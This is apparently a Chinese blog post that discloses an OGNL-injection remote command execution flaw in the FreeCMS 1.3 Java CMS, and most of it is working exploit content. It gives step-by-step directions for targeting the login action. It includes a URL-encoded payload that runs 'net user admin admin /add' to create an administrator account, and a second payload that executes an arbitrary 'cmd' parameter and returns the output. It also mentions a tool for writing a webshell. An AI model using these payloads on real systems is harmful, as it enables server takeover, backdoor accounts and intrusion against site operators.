FreeCms 命令执行(Ognl执行顺序绕过漏洞附EXP)

Author:园长

开源免费java CMS – FreeCMS1.3-数据对象-mail

项目地址:https://code.google.com/p/freecms/

之前公布的EXP利用工具是不行的,不过可以用我之前发布的某工具执行命令,写shell。

漏洞描述(看EXP3利用就行了):

找到登录页面:http://localhost:8080/ff/login.jsp

自行从源码里面获取表单参数,或用上面说的工具自动提取。

然后修改提交的action:http://localhost:8080/ff/login_login.do?user.loginname=EXP

选择类型为String的请求就行了

添加帐号:http://localhost:8080/ff/login_login.do?user.loginname=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec(‘net user admin admin /add%27%29%29%28meh%29&z[%28user.loginname%29%28%27meh%27%29]=true

有人说命令执行呢?哪里?呵呵,改改之前的EXP不就解决了:

http://localhost:8080/ff/login_login.do?user.loginname=(

%23context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false),

%23_memberAccess[“allowStaticMethodAccess”]=new java.lang.Boolean(true),

%23req=@org.apache.struts2.ServletActionContext@getRequest(),

%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),

%23iswinreader=new java.io.DataInputStream(%23exec.getInputStream()),

%23buffer=new byte[1000],

%23iswinreader.readFully(%23buffer),

%23result=new java.lang.String(%23buffer),

%23response=@org.apache.struts2.ServletActionContext@getResponse(),

%23response.getWriter().println(%23result)

)

&z[(user.loginname)(‘meh’)]=true&cmd=cmd /c set

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录